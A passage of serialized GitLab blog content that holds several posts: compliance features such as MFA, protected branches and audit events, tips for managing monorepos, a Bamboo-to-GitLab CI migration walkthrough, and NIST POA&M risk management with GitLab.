(MFA)](/blog/top-5-compliance-features-to-leverage-in-gitlab/#1-enable-mfa)\n- [Review privileged access for critical projects](/blog/top-5-compliance-features-to-leverage-in-gitlab/#2-review-privileged-access-for-critical-projects)\n- [Turn on protected branches](/blog/top-5-compliance-features-to-leverage-in-gitlab/#3-turn-on-protected-branches)\n- [Activate merge request approval settings](/blog/top-5-compliance-features-to-leverage-in-gitlab/#4-activate-merge-request-approval-settings-)\n- [Configure audit events](/blog/top-5-compliance-features-to-leverage-in-gitlab/#5-configure-audit-events-)\n\n\n## 1. Enable MFA\n\nEnabling MFA is simple and reduces the risk of attacks by making it more difficult to gain access to accounts.\n\nMFA can be enforced for all users in your GitLab instance in the admin center. Alternatively, MFA can be configured for accounts individually.\n\nYou can learn [how to enable MFA in our GitLab documentation](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html).\n\n### Compliance standards and GitLab controls for MFA\n\nMFA relates to the following compliance standards:\n- AICPA TSC CC6.1\n- ISO 27001 2013 A9.2.3, A9.2.4, A.9.3.1, A9.4.3\n- NIST 800-53 IA-5, IA-5(1), IA-2(1), IA-2(2)\n\nIllustrative [GitLab controls for MFA](/handbook/security/security-assurance/security-compliance/guidance/identification-and-authentication.html):\n- IAC-02: GitLab Inc. has implemented mechanisms to uniquely identify and authenticate organizational users and processes acting on behalf of organizational users.\n- IAC-06: GitLab Inc. has implemented automated mechanisms to enforce MFA for: remote network access; and/or non-console access to critical systems or systems that store, transmit and/or process sensitive data.\n\n## 2. Review privileged access for critical projects\n\nUndoubtedly, one of the biggest risks to your environment is logical access. To reduce the risk, we recommend administrators ensure access is restricted based on the [principle of least privilege](/handbook/security/access-management-policy.html#principle-of-least-privilege). Access should be monitored continuously as access changes can occur multiple times, daily, in most organizations. In order to appropriately review access in your GitLab instance, it is important to first understand the access security structure within GitLab.\n\n### Breaking down the access security structure\n\nWithin GitLab, there are six different roles that can be assigned to users - “Guest”, “Reporter”, “Developer”, “Maintainer”, “Owner” and “Administrator”.  Privileged access within GitLab is considered to be the “Administrator”, “Owners”, and “Maintainers” roles.\n\n#### GitLab Administrators receive all permissions\n\nOwners and Maintainers are considered administrative because these roles have permissions to do highly sensitive actions including but not limited to: managing merge settings; enabling or disabling branch protection; managing access to a project; managing access tokens; exporting a project; and deleting issues, merge requests, and projects.\n\nAs privileged access is the highest risk to your environment, these roles should be tightly controlled.\n\n**Some best practices in regards to ensuring access is restricted based on the principle of least privilege include:**\n- When privileged access is requested, ensure appropriate approvals are received prior to access being provisioned. _Best practice is to obtain approvals from the data owner and the manager of the user who's receiving access._\n- When a user changes job responsibilities or leaves the organization, ensure access is deprovisioned timely and any shared passwords or tokens are rotated. _Best practice is to do this within 72 hours or less._\n- Be sure to review access on a periodic basis to ensure access is still appropriately aligned to a user's job responsibilities. _Best practice is to do this on a quarterly basis and have access reviewed by the data owner._\n\n#### What to do when you identify inappropriate access\n\nWhen inappropriate access is identified, it is important to take immediate, mitigating actions by checking the user's last login date and checking audit logs as they are available to ensure no inappropriate transactions were performed. These mitigating actions should be conducted upon identification to ensure accessibility of information and to understand potential exposure.\n\nRefer to our [GitLab documentation regarding permissions and roles](https://docs.gitlab.com/ee/user/permissions.html) for more information.\n\n### Compliance standards and GitLab controls for privileged access\n\nPrivileged access relates to the following compliance standards:\n- AICPA TSC CC6.1, CC6.2, CC6.3\n- ISO 27001 2013 A9.2.1, A9.2.2, A9.2.3, A9.4.4\n- NIST 800-53 IA-12(4)\n\nIllustrative [GitLab controls for privileged access](/handbook/security/security-assurance/security-compliance/guidance/identification-and-authentication.html):\n- IAC-07: GitLab Inc. has implemented mechanisms to utilize a formal user registration and de-registration process that governs the assignment of access rights.\n- IAC-16: GitLab Inc. has implemented mechanisms to restrict and control privileged access rights for users and services.\n- IAC-17: GitLab Inc. has implemented mechanisms to periodically review the privileges assigned to users to validate the need for such privileges; and reassign or remove privileges, if necessary, to correctly reflect organizational mission and business needs.\n\n## 3. Turn on protected branches\n\nWithin GitLab, role-based access can be used to give access to repositories and branches at the project level.  By utilizing protected branches, further restrictions can be configured on certain branches in order to protect them. Protecting your default branch is the most important; this branch is often called \"master\" or \"main\".\n\nSome best practice in regards to protection rules include:\n* Prevent commits directly into the default branch\n* Require a merge request each time there is a commit\n* Require approval by a codeowner before merging code\n\nProtected branches should be configured in accordance with your organization's change management policy. Here's an example of how to configure protection rules according to our recommendations:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/protected_branch_example.png){: .shadow}\nExample of how to configure branch protection rules\n{: .note.text-center}\n\n\nThis example shows that anyone with the “developer” and “maintainer” roles are allowed to merge to the default branch and “no one” is allowed to push directly to the default branch without a merge request. Further, codeowner approval must be obtained prior to merging.\n\nProtected branches can be modified by anyone with at least “maintainer” access. In order to monitor if protected branch settings are inappropriately modified, administrators should consider implementing a monitoring control by utilizing audit events.\n\nRefer to our [GitLab documentation regarding protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html#protected-branches) for more information.\n\n\n### Compliance standards and GitLab controls for branch protection\n\nBranch protection settings relate to the following compliance standards:\n- COSO Principle 9\n- AICPA TSC CC3.4, CC8.1\n- ISO 27001 2013 A12.1.2, A14.2.2, A.14.2.6, A.14.2.9\n- NIST 800-53 CM-3, CM-3(2), SA-8(31), SI-6\n\nIllustrative [GitLab controls for branch protection settings](/handbook/security/security-assurance/security-compliance/guidance/change-management.html) include:\n- CHG-04: GitLab Inc. has implemented mechanisms to enforce configuration restrictions in an effort to restrict the ability of users to conduct unauthorized changes.\n\n## 4. Activate merge request approval settings *\n\nChanges to your project repository typically start with a merge request. If your default branch is protected, commits must be done through a merge request. By configuring your merge request settings with approval rules ensures that changes are properly approved prior to deployment to production. Within the merge request approval settings you can specify the number of approvals required and the allowed approvers for specific merge requests.\n\nIn addition, there are a number of approval settings that further enforce segregation of duties within change management:\n- [Prevent approval by author](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approval-by-author): When enabled, the author cannot also provide one of the required approvals.\n- [Prevent approvals by users who add commits](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approvals-by-users-who-add-commits): When enabled, users who have committed to a merge request cannot also approve it.\n- [Prevent editing approval rules in merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-editing-approval-rules-in-merge-requests): When enabled, users can’t override the project’s approval rules on merge requests.\n- [Require user password to approve](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#require-user-password-to-approve): When enabled, users must first authenticate with a password prior to submitting approval.\n- [Remove all approvals when commits are added to the source branch](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#remove-all-approvals-when-commits-are-added-to-the-source-branch): When enabled, this removes all existing approvals on a merge request when more changes are added to it.\n\nMerge request approval settings should be configured in accordance with your organization's change management policy. An example of how to configure merge requests according to the best practices outlined above is as follows:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/mr_approval_example.png){: .shadow}\nExample of how to configure merge requests\n{: .note.text-center}\n\n\nIn the example above, you can see that at least two approvers are required: to enforce segregation of duties and that the approval settings are enforced.\n\nIf your change management policy requires approvals from different groups or departments, such as the business owner and the data owner, those approval groups can be added as additional approval rules. When enabled, these settings provide reasonable assurance that your organization’s GitLab instance enforces segregation of duties and systematically enforces your organizational change management policy.\n\nTo ensure all projects under a certain group have the same merge request approval settings, at the top-level group, [group approval settings](https://docs.gitlab.com/ee/user/group/#group-merge-request-approval-settings) can be configured. These settings cascade to all projects that belong to the group.\n\nMerge request approval settings can be modified by anyone with at least “maintainer” access. In order to monitor if merge request approval settings are inappropriately modified, consider implementing a monitoring control by utilizing audit events.\n\nFor more information, refer to our GitLab documentation around merge request [approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/index.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html).\n\n### Compliance standards and GitLab controls for merge approvals\n\nMerge approval settings relate to the following compliance standards:\n- COSO Principle 9\n- AICPA TSC CC3.4, CC8.1\n- ISO 27001 2013 A12.1.2, A14.2.2, A.14.2.6, A.14.2.9,\n- NIST 800-53 CM-3, CM-3(2), SA-8(31), SI-6\n\nIllustrative [GitLab controls for merge approval settings](/handbook/security/security-assurance/security-compliance/guidance/change-management.html) include:\n* CHG-04: GitLab Inc. has implemented mechanisms to enforce configuration restrictions in an effort to restrict the ability of users to conduct unauthorized changes.\n\n## 5. Configure audit events *\n\nAudit events are a way to view changes made within GitLab and can be leveraged as a detective and monitoring control for continuous monitoring of configured settings. A report can be generated on the audit event, which can then be provided to auditors to evidence your company’s compliance for the audit period for a specific, configured setting.\n\nAudit events can be configured at the group, project and instance level.\n\nIt is best practice to monitor the following [audit events](https://docs.gitlab.com/ee/administration/audit_events.html#project-events) in your GitLab environment:\n- merge approval settings\n- protected branch settings\n\nAs previously mentioned, merge approval settings and protected branch settings can be modified by anyone with “maintainer” access. By monitoring these critical settings for audit events, it can be determined if the protected branch settings or merge approval settings were modified during the period. If the settings were modified, investigation can occur to understand the potential impact and be an indicator to turn the setting back on.\n\nHere’s an example of what these audit events look like:\n\n![file name](https://about.gitlab.com/images/blogimages/top-5/audit_event_example.png){: .shadow}\nExample of audit events\n{: .note.text-center}\n\n\nIn this example of audit events, we see the following:\n- The merge approval settings “require new approvals when new commits are added to an MR” was turned off on the project.\n- The number of required approvals was reduced from 2 to 1.\n- Merging is now allowed by anyone on the default branch.\nThese changes would alter the protected branch settings and merge approval settings that were previously configured.\n\n[Audit events can be streamed](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to third-party systems. The advantage of this is to integrate into a security information and event management (SIEM) system for centralized monitoring and alerting.\n\nTo learn more, check out the [GitLab documentation surrounding audit events](https://docs.gitlab.com/ee/administration/audit_events.html).\n\n### Compliance standards and GitLab controls for audit events\n\nAudit events relate to the following compliance standards:\n- COSO Principle 13\n- AICPA TSC CC4.1, CC7.2\n- ISO 27001 2013 A12.4.1, A12.4.3\n- NIST 800-53 AU-2\n\nIllustrative [GitLab controls for audit events](/handbook/security/security-assurance/security-compliance/guidance/continuous-monitoring.html):\n- CHG-07: Audit events are reviewed quarterly to ensure no inappropriate changes to key change management Segregation Of Duties (SOD) settings.\n- MON-03: Configure systems to produce audit records that contain sufficient information to, at a minimum: establish what type of event occurred; when (date and time) the event occurred; where the event occurred; the source of the event; the outcome (success or failure) of the event; and the identity of any user/subject associated with the event.\n\nHow does GitLab help you maintain your compliance? Have a favorite feature that helps your org maintain its compliance that we missed, let us know in the comments!\n\nInterested in learning more about how your organization can leverage the compliance features offered within GitLab? [Connect with a specialist to learn more](/sales/).\n\n**Note:** An asterisk (*) denotes a feature which is not available on our free tier.\n{: .note}\n\nCover image by [Miguel Á. Padriñán](https://www.pexels.com/@padrinan/) on [Pexels](https://www.pexels.com/photo/5-strike-symbol-1010973/)\n{: .note}\n",[674],{"slug":13404,"featured":6,"template":678},"top-5-compliance-features-to-leverage-in-gitlab","content:en-us:blog:top-5-compliance-features-to-leverage-in-gitlab.yml","Top 5 Compliance Features To Leverage In Gitlab","en-us/blog/top-5-compliance-features-to-leverage-in-gitlab.yml","en-us/blog/top-5-compliance-features-to-leverage-in-gitlab",{"_path":13410,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13411,"content":13417,"config":13422,"_id":13424,"_type":16,"title":13425,"_source":17,"_file":13426,"_stem":13427,"_extension":20},"/en-us/blog/tips-for-managing-monorepos-in-gitlab",{"title":13412,"description":13413,"ogTitle":13412,"ogDescription":13413,"noIndex":6,"ogImage":13414,"ogUrl":13415,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13415,"schema":13416},"5 Tips for managing monorepos in GitLab","Learn the benefits of operating a monolothic repository and how to get the most out of this structure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667591/Blog/Hero%20Images/code-review-blog.jpg","https://about.gitlab.com/blog/tips-for-managing-monorepos-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Tips for managing monorepos in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Waldner\"}],\n        \"datePublished\": \"2022-07-12\",\n      }",{"title":13412,"description":13413,"authors":13418,"heroImage":13414,"date":13419,"body":13420,"category":734,"tags":13421},[10093],"2022-07-12","\nGitLab was founded 10 years ago on Git because it is the market leading version control system. As [Marc Andressen pointed out in 2011](https://www.wsj.com/articles/SB10001424053111903480904576512250915629460), we see teams and code bases expanding at incredible rates, testing the limits of Git. Organizations are experiencing significant slowdowns in performance and added administration complexity working on enormous repositories or monolithic repositories. \n\n## Why do organizations develop on monorepos? \n\nGreat question. While [some](https://www.infoworld.com/article/3638860/the-case-against-monorepos.html) might believe that monorepos are a no-no, there are valid reasons why companies, including  Google or GitLab (that’s right! We operate a monolithic repository), choose to do so. The main benefits are: \n\n- Monorepos can reduce silos between teams, streamlining collaboration on design, development, and operation of different services because everything is within the same repository.\n- Monorepos help organizations standardize on tooling and processes. If a company is pursuing a DevOps transformation, a monorepo can help accelerate change management when it comes to new workflows or the rollout of new tools.\n- Monorepos simplify dependency management because all packages can be updated in a single commit.\n- Monorepos offer unified CI/CD and build processes. Having all services in a single repository means that you can set up one system of pipelines for everyone.\n\nWhile we still have a ways to go before monorepos or monolithic repositories are as easy to manage as multi-repos in GitLab, we put together five tips and tricks to maintain velocity while developing on a monorepo in GitLab.\n\n**1. Use CODEOWNERS to streamline merge request approvals**\n\nCODEOWNERS files live in the repository and assign an owner to a portion of the code, making it super efficient to process changes. Investing time in setting up a robust [CODEOWNERS file](https://docs.gitlab.com/ee/user/project/codeowners/) that you can then use to automate [merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) from required people will save time down the road for developers. \n\nYou can then set your merge requests so they must be approved by Code Owners before merge. CODEOWNERS specified for the changed files in the merge request will be automatically notified.\n\n**2. Improve git operation performance with Git LFS**\n\nA universal truth of git is that managing large files is challenging. If you work in the gaming industry, I am sure you’ve been through the annoying process of trying to remove a binary file from the repository history after a well-meaning coworker committed it. This is where [Git LFS](https://docs.gitlab.com/ee/topics/git/lfs/#git-large-file-storage-lfs) comes in. Git LFS keeps all the big files in a different location so that they do not exponentially increase the size of a repository.\n\nThe GitLab server communicates with the Git LFS client over HTTPS. You can enable Git LFS for a project by toggling it in [project settings](https://docs.gitlab.com/ee/user/project/settings/index.html#configure-project-visibility-features-and-permissions). All files in Git LFS can be tracked in the GitLab interface. GitLab indicates what files are stored there with the LFS icon.\n\n**3. Reduce download time with partial clone operations**\n\n[Partial clone](https://docs.gitlab.com/ee/topics/git/partial_clone.html#partial-clone) is a performance optimization that allows Git to function without having a complete copy of the repository. The goal of this work is to allow Git to better handle extremely large repositories.\n\nAs we just talked about, storing large binary files in Git is normally discouraged, because every large file added is downloaded by everyone who clones or fetches changes thereafter. These downloads are slow and problematic, especially when working from a slow or unreliable internet connection.\n\nUsing partial clone with a file size filter solves this problem, by excluding troublesome large files from clones and fetches. \n\n**4. Take advantage of parent-child pipelines**\n\n[Parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) are where one pipeline triggers a set of downstream pipelines in the same project. The downstream pipelines still execute in the same stages or sequence without waiting for other pipelines to finish. Additionally, child pipelines reduce the configuration to the child pipeline, making it easier to interpret and understand. For monorepos, using parent-child pipelines in conjunction with `rules:changes` will only run pipelines on specified files changes. This reduces wasted time running pipelines across the entire repository.  \n\n**5. Use incremental backups to eliminate downtime** \n\n[Incremental backups](https://docs.gitlab.com/ee/raketasks/backup_restore.html#incremental-repository-backups) can be faster than full backups because they only pack changes since the last backup into the backup bundle for each repository. This is super useful when you are working on a large repository and only developing on certain parts of the code base at a time.\n\n## Where we are headed\n\nWhile these tips have helped many customers migrate from other version control systems to GitLab, we know there is still room for improvement. Over the next year, you will see us working on the following projects. We’d LOVE to hear from you, so share your thoughts, ideas, or simply 👍 on an issue to help prioritize things that will make your life easier.\n\n- [Git for enormous repositories](https://gitlab.com/groups/gitlab-org/-/epics/773)\n- [Expand SAST scanner support for monorepos](https://gitlab.com/groups/gitlab-org/-/epics/4895)\n- [Allow Reports to be Namespace to support monorepos](https://gitlab.com/gitlab-org/gitlab/-/issues/299490)\n",[4103,754,1268,695,1444],{"slug":13423,"featured":6,"template":678},"tips-for-managing-monorepos-in-gitlab","content:en-us:blog:tips-for-managing-monorepos-in-gitlab.yml","Tips For Managing Monorepos In Gitlab","en-us/blog/tips-for-managing-monorepos-in-gitlab.yml","en-us/blog/tips-for-managing-monorepos-in-gitlab",{"_path":13429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13430,"content":13436,"config":13443,"_id":13445,"_type":16,"title":13446,"_source":17,"_file":13447,"_stem":13448,"_extension":20},"/en-us/blog/how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two",{"title":13431,"description":13432,"ogTitle":13431,"ogDescription":13432,"noIndex":6,"ogImage":13433,"ogUrl":13434,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13434,"schema":13435},"Bamboo Server to GitLab CI migration: Advanced techniques","A real-world look at how a migrated CI/CD infrastructure will work in GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679081/Blog/Hero%20Images/jenkins-migration.jpg","https://about.gitlab.com/blog/how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to migrate Atlassian's Bamboo server's CI/CD infrastructure to GitLab CI, part two\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Lychev\"}],\n        \"datePublished\": \"2022-07-11\",\n      }",{"title":13437,"description":13432,"authors":13438,"heroImage":13433,"date":13440,"body":13441,"category":734,"tags":13442},"How to migrate Atlassian's Bamboo server's CI/CD infrastructure to GitLab CI, part two",[13439],"Ivan Lychev","2022-07-11","\nIn [part one of our series](/blog/migration-from-atlassian-bamboo-server-to-gitlab-ci/), I showed you how to migrate from Atlassian’s Bamboo Server to GitLab CI/CD. In this blog post we’re going to take a deep dive into how it works from a user’s perspective.\n\n## Get started\n\nYou’ve deployed the demo so it’s time to play with it to understand how it works.\n\nLet's imagine that one of the members of our project is John Doe. He is a software engineer responsible for developing some components (app1, app2, and app3) of the entire product, and he and his team would like to test those components in several combinations in myriad preview environments. So, what does that look like?\n\nFirst of all, let’s make some commits to the app1, app2, and app3 source code and get successful builds upon those commits.\n\nAfter that, we should create releases for those apps to be able to deploy them (as the deployment part of the apps CI config only shows when being triggered by a Git tag, i.e., a GitLab release). A release can be created by launching the last step (`manual-create-release`) in a commit pipeline. That would give us a new release with the ugly name containing the date and commit SHA in the patch part (in accord to `semver` scheme):\n\n\n\n![app_gitlab_release](https://about.gitlab.com/images/blogimages/app_gitlab_release.png)\n\nOn the `Tags` tab for the same app you now can see a deployment part of the pipeline has been triggered by the just created GitLab release but no actual environments to deploy are displayed (the `_` item in the `Deploy-nonprod` stage is not an env):\n\n\n![absent_envs](https://about.gitlab.com/images/blogimages/absent_envs.png)\n\n\n## Create an environment\n\nBut before that we have to briefly switch to another team who is responsible for preparing infrastructure IaC templates. Navigate to the `infra/environment-blueprints` project and pretend you are a member of that team doing their job. Namely, imagine you have just created some initial set of IaC files (they are already kindly prepared by me and present in the repository). You’ve tested them and now you feel that they are ready to be used by the other members of the project. You indicate such a readiness of a particular version of the IaC files by giving it a GitTag. Let’s put a tag like `v1.0.0` onto the HEAD version.\n\nYou will see how the tags are going to be used immediately. But first let's make some changes to the IaC files (e.g., add a new resource for some of the apps) and create a second Git tag, let's say `v1.1.0`. So, at this moment we have two versions of IaC templates (or `blueprints`) for our infrastructure - `v1.0.0` and `v1.1.0`.\n\n## Deploy an app into the environment\n\nNow we can return back to John and his team. We assume John is somehow informed that the version of the IaC templates he should use is `v1.0.0`. He wants to create a new preview environment out of the IaC templates of that version and put app1 and app2 into that env. \n\n(Here starts a description of how a user interoperates with the `infrastructure-set` Git repo. Notice that though the eventual idea is that it should be a Merge Request workflow – where you first get a Terraform plan within a Merge Request and can apply such a plan by merging the MR – which is widely advocated by GitLab but for the sake of simplicity here the MR workflow is not implemented and instead direct push commits into a branch are made).\n\nJohn wants the env to be named `preview-for-johns-team`. He creates a new branch in the `infrastructure-set` repo with that name and puts two files into it: a `version.txt` containing text `v1.0.0` and `apps.txt` with text `app1 app2` inside (the files format and its content is utterly simplified). \n\nThe `infrastructure-set` pipeline is triggered by the new branch and first generates a Terraform plan using the set of the Terraform files indicated by the tag specified in `version.txt`. John reviews the plan and wants to proceed with creating the environment by starting the `Terraform-apply` stage:\n\n\n![new_env_pipeline](https://about.gitlab.com/images/blogimages/new_env_pipeline.png)\n\n\n(To store the Terraform plan as artifact and Terraform state the embedded features of GitLab are leveraged - [Package Registry](https://docs.gitlab.com/ee/user/packages/package_registry/) and [Terraform HTTP back-end by GitLab](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html).)\n\nNow return to the `app1` project and rerun the pipeline for the app1 release we created previously to make it regenerate a list of environments to deploy. You should see that the `preview-for-johns-team` item has appeared in the list of the environments:\n\n\n![new_env_in_the_deploy_pipeline](https://about.gitlab.com/images/blogimages/new_env_in_the_deploy_pipeline.png)\n\n\nClick the arrow button to deploy. Then refer to the `Deployments/Environments` section of the `app1` project to ensure a new env with the app1 release deployed into it is displayed.\n\nWe have successfully created a new environment and deployed one of the apps into it!\n\nNotice that although the above describes how users manually deploy the applications into an environment after it has been created which doesn’t look really convenient, in a real life scenario we most likely would have some additional step in the `infrastructure-set` pipeline that runs after Terraform successfully finishes creating an environment and triggers deployment pipelines for all the applications specified in the `apps.txt`. In that situation, we would need to establish which versions of the applications should be deployed in such an automated manner - for example, those might be the latest versions available for each app or the versions currently deployed to production, etc.\n\n## Update an environment's infrastructure\n\nJohn got notified that a new version of the infrastructure templates is available (you remember that `v1.1.0` tag in the `environment-blueprints` repo?). His team wants to assess how app1 would work within the new conditions. They decide to update an existing env, namely `preview-for-johns-team`, for that purpose. \n\nJohn walks to the `preview-for-johns-team` branch of the `environment-set` repo and changes `version.txt`'s content from `v1.0.0` to `v1.1.0`. The branch pipeline gets triggered and first shows John a Terraform plan for a diff comparing the current state of the environment. After reviewing and accepting that diff, John proceeds with actual updating the environment by launching `Terraform-apply` stage. That's it!\n\n## Advantages and disadvantages\n\n### Virtues\n\nGiven that this case assumes migrating from some existing CI/CD infrastructure based on Atlassian Bamboo with a lot of users who are familiar with it, the proposed solution leverages the native capabilities of GitLab so that it mostly keeps the concepts and workflows used with Bamboo. This strategy makes the process of migration more smooth for the users.\n\nThe solution sticks to the GitOps tenets and empowers a project with all the virtues provided by Git. For example, it's usually easy to track any changes in the infrastructure back to Git repos. (It may not be so easy for the `environment-set` project where we do not have the infrastructure changes captured in Git commits, but in that case a task of finding differences between two states of a particular environment can be accomplished by fetching the two versions of the `environment-blueprints` repo corresponding to those states denoted in the `version.txt` and figuring out the differences by using any apt tool.)\n\nThe solution tends to support user self-service where most of the tasks of changing the infrastructure can be performed only by those familiar with the basics of Git and Terraform. As a result, it offloads the DevOps team from some part of the work and removes dependence on the Ops department which comes in really handy, especially for large-scale projects.\n\n### Shortcomings\n\nBesides the mentioned deficits which stem from the necessity to utterly simplify all the aspects of this demo to make it comprehensible and possible to prepare in a sensible amount of time, this solution possesses some shortcomings that have to be resolved by using external tools to make this solution appropriate for a real life usage.\n\nFor example, there is no way to have a central dashboard with an aggregated view of all the environments with all the apps and their versions deployed into the envs. This would require creating some custom SPA web app which would gather information from GitLab via API.\n",[110,4103,696],{"slug":13444,"featured":6,"template":678},"how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two","content:en-us:blog:how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two.yml","How To Migrate Atlassians Bamboo Servers Ci Cd Infrastructure To Gitlab Ci Part Two","en-us/blog/how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two.yml","en-us/blog/how-to-migrate-atlassians-bamboo-servers-ci-cd-infrastructure-to-gitlab-ci-part-two",{"_path":13450,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13451,"content":13456,"config":13463,"_id":13465,"_type":16,"title":13466,"_source":17,"_file":13467,"_stem":13468,"_extension":20},"/en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features",{"title":13452,"description":13453,"ogTitle":13452,"ogDescription":13453,"noIndex":6,"ogImage":10675,"ogUrl":13454,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13454,"schema":13455},"Managing risk with GitLab's plan of actions & milestones","The One DevOps Platform helps identify interdependencies and vulnerabilities as required by government compliance frameworks.","https://about.gitlab.com/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tackle a Plan of Actions and Milestones with GitLab’s risk management features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sameer Kamani\"}],\n        \"datePublished\": \"2022-07-07\",\n      }",{"title":13457,"description":13453,"authors":13458,"heroImage":10675,"date":13460,"body":13461,"category":674,"tags":13462},"Tackle a Plan of Actions and Milestones with GitLab’s risk management features",[13459],"Sameer Kamani","2022-07-07","\n\nSoftware is an essential part of everyday life. More and more organizations are being forced to push software to consumers faster for a better customer experience. But increasing software delivery speed cannot come at the expense of security. This adds more pressure on internal development, security, change management, operations, and site reliability teams.\n\nShifting left to find security vulnerabilities earlier within the DevOps process is a critical aspect of ensuring security scales with the pace of development. But U.S. federal government operations go a step further with the implementation of the National Institute of Standards and Technology (NIST) Risk Management Framework ([RMF](https://csrc.nist.gov/projects/risk-management/about-rmf)). The RMF, implemented with standards such as NIST 800-53, NIST 800-171, and NIST 800-37 all require careful consideration of security vulnerabilities identified as properly managed risks. This is further recommended with NIST 800-160 and NIST 800-161.\n\nHowever, practically speaking, not even the most diligent IT team can ensure full compliance with every requirement. This is when risk management becomes more critical as it has to be [continuously monitored](/stages-devops-lifecycle/monitor/) and evaluated through the software development lifecycle (SDLC).\n\nGenerally, the prescribed methodology is to prepare a plan and document the tasks necessary to resolve risks, along with the resources required to do so. Due to interdependencies with other software components, milestones may also be needed to track the work. This is embodied in the Plan of Actions and Milestones (POA&M) process.\n\n## GitLab and the POA&M process\n\nThere are two aspects of identifying and managing vulnerabilities. First, there has to be a quick and relatively easy way to identify new vulnerabilities and zero-day exploits as they become public. Second, it should be possible to check for existing vulnerabilities periodically – ideally in an automated or ad-hoc way as new information becomes available and internal or external auditor reviews are conducted.\n\nNIST provides a sample POA&M template to help organizations track the actions needed. But in our experience, the mental load to manage another separate document can be an added burden on all the teams, not to mention confusing as new versions of the information become available. GitLab provides numerous resources to assist with this process.\n\n## Using GitLab to identify vulnerabilities\n\nGitLab has multiple types of [security and compliance scanners](https://docs.gitlab.com/ee/user/application_security/) that evaluate source code in various ways. These scanners are capable of finding security weaknesses introduced in new code, vulnerable dependencies, container images, and non-compliant licenses from third-party code. These scans can run against every commit on every feature branch – before any code is merged or deployed into production. \n\n![GitLab scanning](https://about.gitlab.com/images/blogimages/poamprocess.png){: .shadow}\n\nAs potential security issues are found, GitLab provides an aggregated view of the findings both in the developer workflow and in dedicated vulnerability management tools. GitLab’s [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) allow security teams the ability to triage and manage vulnerabilities for individual projects or across groups of projects. From here, security teams can evaluate vulnerabilities, track remediation progress, or dismiss any false positives.  \n\nThis provides a direct way to find, catalog, and manage vulnerabilities. As this process moves further along, and vulnerabilities are characterized as a risk, GitLab provides a one-click process to convert and link the vulnerability with a work management item known as an Issue in GitLab. This can become a central location where, as per the POA&M process, it can be assigned to the Directly Responsible Individual (DRI), with due dates and milestones.  The Issue can also be placed into an Epic to manage larger, dependent, and correlated pieces of work. Labels and Issue Boards make it easier to manage these work items while adding visibility to all parties involved. This provides further transparency into how the work progresses and where more attention is needed.\n\nActive systems management processes such as the one provided natively by GitLab to scan, identify, manage, and develop plans for mitigation all in one system can be game-changing as they can bring an organization closer to achieving continuous monitoring and mitigation.\n\nThe downstream effect of having a single system like GitLab is that all the metrics from when something is found to when it is completed are tracked in a single source of truth. This can create powerful insights for future improvement.\n\nDiscover more about how GitLab can support your POA&M process so you can deliver secure software faster. \n\n[Talk to an expert](/sales/) about GitLab and NIST risk management compliance.\n",[4103,7116,674],{"slug":13464,"featured":6,"template":678},"tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features","content:en-us:blog:tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features.yml","Tackle Nists Plan Of Action And Milestones With Gitlabs Risk Management Features","en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features.yml","en-us/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features",{"_path":13470,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13471,"content":13476,"config":13482,"_id":13484,"_type":16,"title":13485,"_source":17,"_file":13486,"_stem":13487,"_extension":20},"/en-us/blog/migration-from-atlassian-bamboo-server-to-gitlab-ci",{"title":13472,"description":13473,"ogTitle":13472,"ogDescription":13473,"noIndex":6,"ogImage":12013,"ogUrl":13474,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13474,"schema":13475},"Migrating from Bamboo Server to GitLab CI: Getting started","Theoretical reasoning and practical proposal on migrating an existing CI/CD infrastructure of some multi-component application from Bamboo Server to GitLab CI","https://about.gitlab.com/blog/migration-from-atlassian-bamboo-server-to-gitlab-ci","\n                        